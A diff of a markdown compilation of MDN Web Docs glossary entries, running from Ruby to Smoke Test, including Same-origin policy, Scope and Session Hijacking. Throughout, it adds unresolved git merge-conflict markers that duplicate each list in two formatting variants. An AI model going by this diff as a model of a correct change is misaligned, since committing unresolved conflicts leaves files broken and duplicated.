+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("RTSP"_)
+>>>>>>> master
 
 ---
 
 ## Term: Ruby
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Ruby
+=======
+-   CodingScripting
+-   Glossary
+-   Ruby
+>>>>>>> master
 
 ---
 
@@ -10873,16 +16601,27 @@ Ruby is also a method for annotating east Asian text in HTML documents to provid
 
 #### See also
 
+<<<<<<< HEAD
 - [Ruby](https://en.wikipedia.org/wiki/Ruby_%28programming_language%29) on Wikipedia
 - [Ruby's official web site](https://www.ruby-lang.org)
 - [Ruby On Rails' official web site](https://rubyonrails.org/)
+=======
+-   [Ruby](https://en.wikipedia.org/wiki/Ruby_%28programming_language%29) on Wikipedia
+-   [Ruby's official web site](https://www.ruby-lang.org)
+-   [Ruby On Rails' official web site](https://rubyonrails.org/)
+>>>>>>> master
 
 ---
 
 ## Term: Safe
 
+<<<<<<< HEAD
 - Glossary
 - Disambiguation
+=======
+-   Glossary
+-   Disambiguation
+>>>>>>> master
 
 ---
 
@@ -10894,9 +16633,15 @@ Ruby is also a method for annotating east Asian text in HTML documents to provid
 
 ## Term: Same-origin policy
 
+<<<<<<< HEAD
 - Glossary
 - Same-origin policy
 - origin
+=======
+-   Glossary
+-   Same-origin policy
+-   origin
+>>>>>>> master
 
 ---
 
@@ -10906,19 +16651,33 @@ It helps isolate potentially malicious documents, reducing possible attack vecto
 
 #### See also
 
+<<<<<<< HEAD
 - [Same-origin policy](/en-US/docs/Web/Security/Same-origin_policy)
 - [MDN Web Docs Glossary](/en-US/docs/Glossary):
 
     - _Glossary("CORS"_)
     - _Glossary("origin"_)
+=======
+-   [Same-origin policy](/en-US/docs/Web/Security/Same-origin_policy)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary):
+
+    -   _Glossary("CORS"_)
+    -   _Glossary("origin"_)
+>>>>>>> master
 
 ---
 
 ## Term: SCM
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - SCM
+=======
+-   CodingScripting
+-   Glossary
+-   SCM
+>>>>>>> master
 
 ---
 
@@ -10928,15 +16687,25 @@ Some SCM systems include CVS, SVN, GIT.
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Revision control"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Revision control"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Scope
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -10946,9 +16715,14 @@ A **_glossary("function"_)** serves as a **closure** in _glossary("JavaScript"_)
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function exampleFunction() {
     var x = 'declared inside function'; // x can only be used in exampleFunction
@@ -10962,6 +16736,10 @@ console.log(x); // Causes error
 However, the following code is valid due to the variable being declared outside the function, making it global:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var x = 'declared outside function';
 
 exampleFunction();
@@ -10977,17 +16755,29 @@ console.log(x);
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Scope (computer science)"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Scope (computer science)"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Screen reader
 
+<<<<<<< HEAD
 - Accessibility
 - Glossary
 - Screen reader
 - Voice Over
 - Voiceover
+=======
+-   Accessibility
+-   Glossary
+-   Screen reader
+-   Voice Over
+-   Voiceover
+>>>>>>> master
 
 ---
 
@@ -11003,6 +16793,7 @@ Desktop/laptop screen reader users navigate websites with a keyboard or other no
 
 Just like keyboard navigation without VoiceOver, you can navigate through interactive elements using the tab key and the arrow keys:
 
+<<<<<<< HEAD
 - Next interactive element: Tab
 - Previous interactive element: Shift + Tab
 - Next radio button in a same named-group: right or down arrow
@@ -11024,15 +16815,45 @@ Navigating through the content of a page is done with the tab key and a series o
 #### See also
 
 - [ARIA](/en-US/docs/Web/Accessibility/ARIA)
+=======
+-   Next interactive element: Tab
+-   Previous interactive element: Shift + Tab
+-   Next radio button in a same named-group: right or down arrow
+-   Previous radio button in a same named-group: left or up arrow
+
+Navigating through the content of a page is done with the tab key and a series of other keys along with Control + Option keys
+
+-   Next heading: Control + Option + H
+-   Next list: Control + Option + X
+-   Next graphic: Control + Option + G
+-   Next table: Control + Option + T
+-   Down an HTML hierarchical order Control + Option + right arrow
+-   Previous heading: Shift + Control + Option + H
+-   Previous list: Shift + Control + Option + X
+-   Previous graphic: Shift + Control + Option + G
+-   Previous table: Shift + Control + Option + T
+-   Up an HTML hierarchical order: Control + Option + left arrow
+
+#### See also
+
+-   [ARIA](/en-US/docs/Web/Accessibility/ARIA)
+>>>>>>> master
 
 ---
 
 ## Term: Script-supporting element
 
+<<<<<<< HEAD
 - Glossary
 - HTML
 - HTML Content Categories
 - scripts
+=======
+-   Glossary
+-   HTML
+-   HTML Content Categories
+-   scripts
+>>>>>>> master
 
 ---
 
@@ -11050,9 +16871,15 @@ _SectionOnPage("/en-US/docs/Web/HTML/Kinds_of_HTML_content", "Script-supporting
 
 ## Term: Block (scripting)
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -11060,14 +16887,23 @@ _SectionOnPage("/en-US/docs/Web/HTML/Kinds_of_HTML_content", "Script-supporting
 
 #### See also
 
+<<<<<<< HEAD
 - [JavaScript block statement](/en-US/docs/Web/JavaScript/Reference/Statements/block)
+=======
+-   [JavaScript block statement](/en-US/docs/Web/JavaScript/Reference/Statements/block)
+>>>>>>> master
 
 ---
 
 ## Term: Scroll container
 
+<<<<<<< HEAD
 - Glossary
 - scroll container
+=======
+-   Glossary
+-   scroll container
+>>>>>>> master
 
 ---
 
@@ -11077,6 +16913,7 @@ The scroll container allows the user to scroll through parts of the overflow reg
 
 #### See also
 
+<<<<<<< HEAD
 - [MDN Web Docs Glossary](/en-US/docs/Glossary):
 
     - _glossary("Scroll container"_)
@@ -11085,13 +16922,28 @@ The scroll container allows the user to scroll through parts of the overflow reg
 - Related CSS Properties:
 
     - _cssxref("overflow"_)
+=======
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary):
+
+    -   _glossary("Scroll container"_)
+    -   _glossary("Scrollport"_)
+
+-   Related CSS Properties:
+
+    -   _cssxref("overflow"_)
+>>>>>>> master
 
 ---
 
 ## Term: Scrollport
 
+<<<<<<< HEAD
 - Glossary
 - scrollport
+=======
+-   Glossary
+-   scrollport
+>>>>>>> master
 
 ---
 
@@ -11099,6 +16951,7 @@ The scroll container allows the user to scroll through parts of the overflow reg
 
 #### See also
 
+<<<<<<< HEAD
 - [MDN Web Docs Glossary](/en-US/docs/Glossary):
 
     - _glossary("Scroll container"_)
@@ -11107,15 +16960,32 @@ The scroll container allows the user to scroll through parts of the overflow reg
 - Related CSS Properties:
 
     - _cssxref("overflow"_)
+=======
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary):
+
+    -   _glossary("Scroll container"_)
+    -   _glossary("Scrollport"_)
+
+-   Related CSS Properties:
+
+    -   _cssxref("overflow"_)
+>>>>>>> master
 
 ---
 
 ## Term: SCTP
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - SCTP
 - WebRTC
+=======
+-   Glossary
+-   Infrastructure
+-   SCTP
+-   WebRTC
+>>>>>>> master
 
 ---
 
@@ -11123,19 +16993,33 @@ The scroll container allows the user to scroll through parts of the overflow reg
 
 #### See also
 
+<<<<<<< HEAD
 - _RFC(4960, "Stream Control Transmission Protocol"_)
 - _Interwiki("wikipedia", "Stream Control Transmission Protocol"_) on Wikipedia
+=======
+-   _RFC(4960, "Stream Control Transmission Protocol"_)
+-   _Interwiki("wikipedia", "Stream Control Transmission Protocol"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: SDP
 
+<<<<<<< HEAD
 - Advanced
 - Collaborating
 - Glossary
 - Infrastructure
 - Protocol
 - WebRTC
+=======
+-   Advanced
+-   Collaborating
+-   Glossary
+-   Infrastructure
+-   Protocol
+-   WebRTC
+>>>>>>> master
 
 ---
 
@@ -11159,13 +17043,19 @@ SDP is never used alone, but by protocols like _Glossary("RTP"_) and _Glossary("
 
 #### See also
 
+<<<<<<< HEAD
 - [WebRTC protocols](/en-US/docs/Web/API/WebRTC_API/Protocols)
 - _Interwiki("wikipedia", "Session Description Protocol"_) on Wikipedia
+=======
+-   [WebRTC protocols](/en-US/docs/Web/API/WebRTC_API/Protocols)
+-   _Interwiki("wikipedia", "Session Description Protocol"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Search engine
 
+<<<<<<< HEAD
 - Definition
 - Glossary
 - Indexing
@@ -11176,6 +17066,18 @@ SDP is never used alone, but by protocols like _Glossary("RTP"_) and _Glossary("
 - World Wide Web
 - details
 - google
+=======
+-   Definition
+-   Glossary
+-   Indexing
+-   Search Engine
+-   Searching
+-   Web Crawling
+-   WebMechanics
+-   World Wide Web
+-   details
+-   google
+>>>>>>> master
 
 ---
 
@@ -11183,24 +17085,41 @@ SDP is never used alone, but by protocols like _Glossary("RTP"_) and _Glossary("
 
 A search engine conducts the following processes:
 
+<<<<<<< HEAD
 - **Web crawling:** Searching web sites by navigating _Glossary("Hyperlink", "Hyperlinks"_) on web pages, both within a site, and from one site to another. A web site owner can exclude areas of the site from being accessed by a search engine's _web crawler_ (or _spider_), by defining "robot exclusion" information in a file named `robots.txt`.
 - **Indexing:** Associating keywords and other information with specific web pages that have been crawled. This enables users to find relevant pages as quickly as possible.
 - **Searching:** Looking for relevant web pages based on queries consisting of key words and other commands to the search engine. The search engine finds the URLs of pages that match the query, and ranks them based on their relevance. It then presents results to the user in order of the ranking.
+=======
+-   **Web crawling:** Searching web sites by navigating _Glossary("Hyperlink", "Hyperlinks"_) on web pages, both within a site, and from one site to another. A web site owner can exclude areas of the site from being accessed by a search engine's _web crawler_ (or _spider_), by defining "robot exclusion" information in a file named `robots.txt`.
+-   **Indexing:** Associating keywords and other information with specific web pages that have been crawled. This enables users to find relevant pages as quickly as possible.
+-   **Searching:** Looking for relevant web pages based on queries consisting of key words and other commands to the search engine. The search engine finds the URLs of pages that match the query, and ranks them based on their relevance. It then presents results to the user in order of the ranking.
+>>>>>>> master
 
 The most popular search engine is Google. Other top search engines include Yahoo!, Bing, Baidu, and AOL.
 
 #### See also
 
+<<<<<<< HEAD
 - [Web search engine](https://en.wikipedia.org/wiki/Web_search_engine) on Wikipedia
 - [Search engine](https://www.webopedia.com/TERM/S/search_engine.html) on Webopedia
 - [How Internet search engines work](https://computer.howstuffworks.com/internet/basics/search-engine.htm) on How Stuff Works
+=======
+-   [Web search engine](https://en.wikipedia.org/wiki/Web_search_engine) on Wikipedia
+-   [Search engine](https://www.webopedia.com/TERM/S/search_engine.html) on Webopedia
+-   [How Internet search engines work](https://computer.howstuffworks.com/internet/basics/search-engine.htm) on How Stuff Works
+>>>>>>> master
 
 ---
 
 ## Term: Second-level Domain
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -11214,6 +17133,7 @@ As another example, in `developer.mozilla.org`, the `developer` subdomain is use
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Second-level domain", "SLD"_) (Wikipedia)
 - [Glossary](/en-US/docs/Glossary)
 
@@ -11221,14 +17141,29 @@ As another example, in `developer.mozilla.org`, the `developer` subdomain is use
     - _Glossary("Domain"_)
     - _Glossary("Domain name"_)
     - _Glossary("TLD"_)
+=======
+-   _Interwiki("wikipedia", "Second-level domain", "SLD"_) (Wikipedia)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("DNS"_)
+    -   _Glossary("Domain"_)
+    -   _Glossary("Domain name"_)
+    -   _Glossary("TLD"_)
+>>>>>>> master
 
 ---
 
 ## Term: Secure Context
 
+<<<<<<< HEAD
 - Glossary
 - Security
 - Secure contexts
+=======
+-   Glossary
+-   Security
+-   Secure contexts
+>>>>>>> master
 
 ---
 
@@ -11240,10 +17175,17 @@ For more information see: [Web > Security > Secure Contexts](/en-US/docs/Web/Sec
 
 ## Term: Signature (security)
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Privacy
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Privacy
+-   Security
+>>>>>>> master
 
 ---
 
@@ -11253,21 +17195,35 @@ From the _glossary("hash"_) of a given message, the **signing process** first ge
 
 On receiving the message, the **verification process**
 
+<<<<<<< HEAD
 - _authenticates the sender -_ uses the sender's public key to _glossary("decryption","decrypt"_) the signature and recover the hash, which can only be created with the sender's private key, and
 - _checks message integrity -_ compares the hash with a newly calculated one from the received document (the two hashes will differ if the document has been tampered with)
+=======
+-   _authenticates the sender -_ uses the sender's public key to _glossary("decryption","decrypt"_) the signature and recover the hash, which can only be created with the sender's private key, and
+-   _checks message integrity -_ compares the hash with a newly calculated one from the received document (the two hashes will differ if the document has been tampered with)
+>>>>>>> master
 
 The system fails if the private key is compromised or the recipient is deceitfully given the wrong public key.
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Digital signature"_) on Wikipedia
 - See _glossary("digest"_), _glossary("encryption"_)
+=======
+-   _Interwiki("wikipedia", "Digital signature"_) on Wikipedia
+-   See _glossary("digest"_), _glossary("encryption"_)
+>>>>>>> master
 
 ---
 
 ## Term: Self-Executing Anonymous Function
 
+<<<<<<< HEAD
 - Glossary
+=======
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -11279,10 +17235,17 @@ See the IIFE glossary page linked above for more information.
 
 ## Term: Semantics
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - HTML
 - semantics
+=======
+-   CodingScripting
+-   Glossary
+-   HTML
+-   semantics
+>>>>>>> master
 
 ---
 
@@ -11318,11 +17281,19 @@ HTML should be coded to represent the _data_ that will be populated and not base
 
 Some of the benefits from writing semantic markup are as follows:
 
+<<<<<<< HEAD
 - Search engines will consider its contents as important keywords to influence the page's search rankings (see _glossary("SEO"_))
 - Screen readers can use it as a signpost to help visually impaired users navigate a page
 - Finding blocks of meaningful code is significantly easier than searching through endless `div`s with or without semantic or namespaced classes
 - Suggests to the developer the type of data that will be populated
 - Semantic naming mirrors proper custom element/component naming
+=======
+-   Search engines will consider its contents as important keywords to influence the page's search rankings (see _glossary("SEO"_))
+-   Screen readers can use it as a signpost to help visually impaired users navigate a page
+-   Finding blocks of meaningful code is significantly easier than searching through endless `div`s with or without semantic or namespaced classes
+-   Suggests to the developer the type of data that will be populated
+-   Semantic naming mirrors proper custom element/component naming
+>>>>>>> master
 
 When approaching which markup to use, ask yourself, "What element(s) best describe/represent the data that I'm going to populate?" For example, is it a list of data?; ordered, unordered?; is it an article with sections and an aside of related information?; does it list out definitions?; is it a figure or image that needs a caption?; should it have a header and a footer in addition to the global site-wide header and footer?; etc.
 
@@ -11330,6 +17301,7 @@ When approaching which markup to use, ask yourself, "What element(s) best descri
 
 These are _some_ of the roughly 100 semantic [elements](/en-US/docs/Web/HTML/Element) available:
 
+<<<<<<< HEAD
 - _htmlelement("article"_)
 - _htmlelement("aside"_)
 - _htmlelement("details"_)
@@ -11368,16 +17340,64 @@ These are _some_ of the roughly 100 semantic [elements](/en-US/docs/Web/HTML/Ele
     - _htmlelement("section"_)
     - _htmlelement("summary"_)
     - _htmlelement("time"_)
+=======
+-   _htmlelement("article"_)
+-   _htmlelement("aside"_)
+-   _htmlelement("details"_)
+-   _htmlelement("figcaption"_)
+-   _htmlelement("figure"_)
+-   _htmlelement("footer"_)
+-   _htmlelement("header"_)
+-   _htmlelement("main"_)
+-   _htmlelement("mark"_)
+-   _htmlelement("nav"_)
+-   _htmlelement("section"_)
+-   _htmlelement("summary"_)
+-   _htmlelement("time"_)
+
+#### See also
+
+-   [HTML element reference](/en-US/docs/Web/HTML/Element#inline_text_semantics) on MDN
+-   [Using HTML sections and outlines](/en-US/docs/Web/HTML/Element/Heading_Elements#problems_solved_by_html5) on MDN
+-   _interwiki("wikipedia", "Semantics#Computer_science", "The meaning of semantics in computer science"_) on Wikipedia
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("SEO"_)
+
+-   Semantic elements in HTML:
+
+    -   _htmlelement("article"_)
+    -   _htmlelement("aside"_)
+    -   _htmlelement("details"_)
+    -   _htmlelement("figcaption"_)
+    -   _htmlelement("figure"_)
+    -   _htmlelement("footer"_)
+    -   _htmlelement("header"_)
+    -   _htmlelement("main"_)
+    -   _htmlelement("mark"_)
+    -   _htmlelement("nav"_)
+    -   _htmlelement("section"_)
+    -   _htmlelement("summary"_)
+    -   _htmlelement("time"_)
+>>>>>>> master
 
 ---
 
 ## Term: SEO
 
+<<<<<<< HEAD
 - Glossary
 - Intro
 - SEO
 - Search
 - WebMechanic
+=======
+-   Glossary
+-   Intro
+-   SEO
+-   Search
+-   WebMechanic
+>>>>>>> master
 
 ---
 
@@ -11389,6 +17409,7 @@ Search engines give some guidelines for SEO, but big search engines keep result
 
 SEO methods fall into three broad classes:
 
+<<<<<<< HEAD
 - technical
 - - : Tag the content using semantic _Glossary("HTML"_). When exploring the website, crawlers should only find the content you want indexed.
 - copywriting
@@ -11400,15 +17421,35 @@ SEO methods fall into three broad classes:
 
 - _Interwiki("wikipedia", "SEO"_) on Wikipedia
 - [Google Search Central](https://developers.google.com/search/docs)
+=======
+-   technical
+-   -   : Tag the content using semantic _Glossary("HTML"_). When exploring the website, crawlers should only find the content you want indexed.
+-   copywriting
+    -   : Write content using your visitors' vocabulary. Use text as well as images so that crawlers can understand the subject.
+-   popularity
+    -   : You get most traffic when other established sites link to your site.
+
+#### See also
+
+-   _Interwiki("wikipedia", "SEO"_) on Wikipedia
+-   [Google Search Central](https://developers.google.com/search/docs)
+>>>>>>> master
 
 ---
 
 ## Term: Serialization
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
 - Serialization
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+-   Serialization
+>>>>>>> master
 
 ---
 
@@ -11420,16 +17461,27 @@ _Glossary("CSS"_) values are serialized by calling the function _domxref("CSSSty
 
 #### See also
 
+<<<<<<< HEAD
 - [Serialization](https://en.wikipedia.org/wiki/Serialization) on Wikipedia
+=======
+-   [Serialization](https://en.wikipedia.org/wiki/Serialization) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Server Timing
 
+<<<<<<< HEAD
 - Glossary
 - Reference
 - Server Timing
 - Web Performance
+=======
+-   Glossary
+-   Reference
+-   Server Timing
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -11437,18 +17489,31 @@ _Glossary("CSS"_) values are serialized by calling the function _domxref("CSSSty
 
 #### See also
 
+<<<<<<< HEAD
 - <https://www.w3.org/TR/server-timing/>
 - [Resource Timing](https://www.w3.org/TR/resource-timing/)
+=======
+-   <https://www.w3.org/TR/server-timing/>
+-   [Resource Timing](https://www.w3.org/TR/resource-timing/)
+>>>>>>> master
 
 ---
 
 ## Term: Server
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Networking
 - Protocol
 - Server
+=======
+-   Glossary
+-   Infrastructure
+-   Networking
+-   Protocol
+-   Server
+>>>>>>> master
 
 ---
 
@@ -11458,6 +17523,7 @@ Services are provided generally over local area networks or wide area networks s
 
 For example:
 
+<<<<<<< HEAD
 - An Internet-connected Web server is sending a _glossary("HTML"_) file to your browser software so that you can read this page
 - Local area network server for file, name, mail, print, and fax
 - Minicomputers, mainframes, and super computers at data centers
@@ -11466,14 +17532,30 @@ For example:
 
 - [Introduction to servers](/en-US/docs/Learn/Common_questions/What_is_a_web_server)
 - _Interwiki("wikipedia", "Server (computing)"_) on Wikipedia
+=======
+-   An Internet-connected Web server is sending a _glossary("HTML"_) file to your browser software so that you can read this page
+-   Local area network server for file, name, mail, print, and fax
+-   Minicomputers, mainframes, and super computers at data centers
+
+#### See also
+
+-   [Introduction to servers](/en-US/docs/Learn/Common_questions/What_is_a_web_server)
+-   _Interwiki("wikipedia", "Server (computing)"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Session Hijacking
 
+<<<<<<< HEAD
 - Glossary
 - Security
 - session hijacking
+=======
+-   Glossary
+-   Security
+-   session hijacking
+>>>>>>> master
 
 ---
 
@@ -11485,12 +17567,21 @@ Most authentication occurs only at the start of a _glossary("TCP"_) session. In
 
 ### Session hijacking occurs because
 
+<<<<<<< HEAD
 - no account lockout for invalid session IDs
 - weak session-ID generation algorithm
 - insecure handling
 - indefinite session expiration time
 - short session IDs
 - transmission in plain text
+=======
+-   no account lockout for invalid session IDs
+-   weak session-ID generation algorithm
+-   insecure handling
+-   indefinite session expiration time
+-   short session IDs
+-   transmission in plain text
+>>>>>>> master
 
 ### Session hijacking process
 
@@ -11502,6 +17593,7 @@ Most authentication occurs only at the start of a _glossary("TCP"_) session. In
 
 ### Protection against session hijacking
 
+<<<<<<< HEAD
 - create a secure communication channel with SSH (secure shell)
 - pass authentication cookies over HTTPS connection
 - implement logout functionality so the user can end the session
@@ -11512,15 +17604,34 @@ Most authentication occurs only at the start of a _glossary("TCP"_) session. In
 #### See also
 
 - _Interwiki("wikipedia", "Session hijacking"_) on Wikipedia
+=======
+-   create a secure communication channel with SSH (secure shell)
+-   pass authentication cookies over HTTPS connection
+-   implement logout functionality so the user can end the session
+-   generate the session ID after successful login
+-   pass encrypted data between the users and the web server
+-   use a string or long random number as a session key
+
+#### See also
+
+-   _Interwiki("wikipedia", "Session hijacking"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: SGML
 
+<<<<<<< HEAD
 - CodingScripting
 - Composing
 - Glossary
 - SGML
+=======
+-   CodingScripting
+-   Composing
+-   Glossary
+-   SGML
+>>>>>>> master
 
 ---
 
@@ -11530,17 +17641,29 @@ On the web, _Glossary("HTML"_) 4, _Glossary("XHTML"_), and _Glossary("XML"_) are
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "SGML"_) on Wikipedia
 - [Introduction to SGML](https://www.isgmlug.org/)
+=======
+-   _Interwiki("wikipedia", "SGML"_) on Wikipedia
+-   [Introduction to SGML](https://www.isgmlug.org/)
+>>>>>>> master
 
 ---
 
 ## Term: Shadow tree
 
+<<<<<<< HEAD
 - DOM
 - Glossary
 - Shadow Tree
 - shadow dom
+=======
+-   DOM
+-   Glossary
+-   Shadow Tree
+-   shadow dom
+>>>>>>> master
 
 ---
 
@@ -11550,17 +17673,29 @@ Nodes within the shadow tree are not affected by anything applied outside the sh
 
 #### See also
 
+<<<<<<< HEAD
 - [Using shadow DOM](/en-US/docs/Web/Web_Components/Using_shadow_DOM)
 - _domxref("Element.shadowRoot"_) and _domxref("Element.attachShadow()"_)
 - _domxref("ShadowRoot"_)
 - _HTMLElement("slot"_)
+=======
+-   [Using shadow DOM](/en-US/docs/Web/Web_Components/Using_shadow_DOM)
+-   _domxref("Element.shadowRoot"_) and _domxref("Element.attachShadow()"_)
+-   _domxref("ShadowRoot"_)
+-   _HTMLElement("slot"_)
+>>>>>>> master
 
 ---
 
 ## Term: Shim
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -11568,14 +17703,23 @@ Nodes within the shadow tree are not affected by anything applied outside the sh
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Shim (computing)", "Shim"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Shim (computing)", "Shim"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Signature
 
+<<<<<<< HEAD
 - Disambiguation
 - Glossary
+=======
+-   Disambiguation
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -11585,15 +17729,25 @@ Nodes within the shadow tree are not affected by anything applied outside the sh
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Signature_(disambiguation)", "Signature"\_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Signature_(disambiguation)", "Signature"\_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: SIMD
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -11603,20 +17757,35 @@ See also _Glossary("SISD"_) for a sequential architecture with no parallelism in
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "SIMD"_) on Wikipedia
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("SIMD"_)
     - _Glossary("SISD"_)
+=======
+-   _Interwiki("wikipedia", "SIMD"_) on Wikipedia
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("SIMD"_)
+    -   _Glossary("SISD"_)
+>>>>>>> master
 
 ---
 
 ## Term: Simple header
 
+<<<<<<< HEAD
 - CORS
 - Glossary
 - HTTP
 - Infrastructure
+=======
+-   CORS
+-   Glossary
+-   HTTP
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -11626,9 +17795,15 @@ See also _Glossary("SISD"_) for a sequential architecture with no parallelism in
 
 ## Term: Simple response header
 
+<<<<<<< HEAD
 - CORS
 - Glossary
 - HTTP
+=======
+-   CORS
+-   Glossary
+-   HTTP
+>>>>>>> master
 
 ---
 
@@ -11638,8 +17813,13 @@ See also _Glossary("SISD"_) for a sequential architecture with no parallelism in
 
 ## Term: SISD
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -11649,16 +17829,27 @@ See also _Glossary("SIMD"_) for a parallel architecture that allows one same ope
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "SISD"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "SISD"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Site map
 
+<<<<<<< HEAD
 - Accessibility
 - Glossary
 - Search
 - Site map
+=======
+-   Accessibility
+-   Glossary
+-   Search
+-   Site map
+>>>>>>> master
 
 ---
 
@@ -11670,9 +17861,15 @@ Structured listings of a site's page help with [search engine optimization](/en-
 
 ## Term: Site
 
+<<<<<<< HEAD
 - Glossary
 - Security
 - WebMechanics
+=======
+-   Glossary
+-   Security
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -11684,6 +17881,7 @@ The concept of a _site_ is used in [SameSite cookies](/en-US/docs/Web/HTTP/Heade
 
 These are the same site because the registrable domain of _mozilla.org_ is the same (different host and files path don't matter):
 
+<<<<<<< HEAD
 - `https://developer.mozilla.org/en-US/docs/`
 - `https://support.mozilla.org/en-US/`
 
@@ -11702,13 +17900,38 @@ These are not same site because the registrable domain of the two URLs differs:
 - [What is a URL](/en-US/docs/Learn/Common_questions/What_is_a_URL)
 - _Glossary("Origin"_)
 - [Same-origin policy](/en-US/docs/Web/Security/Same-origin_policy)
+=======
+-   `https://developer.mozilla.org/en-US/docs/`
+-   `https://support.mozilla.org/en-US/`
+
+These are the same site because scheme and port are not relevant:
+
+-   `http://example.com:8080`
+-   `https://example.com`
+
+These are not same site because the registrable domain of the two URLs differs:
+
+-   `https://developer.mozilla.org/en-US/docs/`
+-   `https://example.com`
+
+#### See also
+
+-   [What is a URL](/en-US/docs/Learn/Common_questions/What_is_a_URL)
+-   _Glossary("Origin"_)
+-   [Same-origin policy](/en-US/docs/Web/Security/Same-origin_policy)
+>>>>>>> master
 
 ---
 
 ## Term: SLD
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -11720,10 +17943,17 @@ See [Second Level Domain](/en-US/docs/Glossary/Second-level_Domain) for more inf
 
 ## Term: Sloppy mode
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
 - Sloppy
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+-   Sloppy
+>>>>>>> master
 
 ---
 
@@ -11733,18 +17963,31 @@ The normal, non-strict mode of JavaScript is sometimes referred to as **sloppy m
 
 #### See also
 
+<<<<<<< HEAD
 - "[Strict Mode](http://speakingjs.com/es5/ch07.html#strict_mode)" in chapter 7 ("JavaScript Syntax") in the book Speaking _JavaScript_.
+=======
+-   "[Strict Mode](http://speakingjs.com/es5/ch07.html#strict_mode)" in chapter 7 ("JavaScript Syntax") in the book Speaking _JavaScript_.
+>>>>>>> master
 
 ---
 
 ## Term: Slug
 
+<<<<<<< HEAD
 - Community
 - Glossary
 - Intermediate
 - MDN
 - URL
 - Web
+=======
+-   Community
+-   Glossary
+-   Intermediate
+-   MDN
+-   URL
+-   Web
+>>>>>>> master
 
 ---
 
@@ -11756,11 +17999,19 @@ The normal, non-strict mode of JavaScript is sometimes referred to as **sloppy m
 
 ## Term: Smoke Test
 
+<<<<<<< HEAD
 - Composing
 - Glossary
 - Intro
 - QA
 - Testing
+=======
+-   Composing
+-   Glossary
+-   Intro
+-   QA
+-   Testing
+>>>>>>> master
 
 ---
 
@@ -11768,20 +18019,31 @@ The normal, non-strict mode of JavaScript is sometimes referred to as **sloppy m
 
 Smoke testing answers questions like
 
+<<<<<<< HEAD
 - "Does the program start up correctly?"
 - "Do the main control buttons function?"
 - "Can you save a simple blank new test user account?"
+=======
+-   "Does the program start up correctly?"
+-   "Do the main control buttons function?"
+-   "Can you save a simple blank new test user account?"
+>>>>>>> master
 
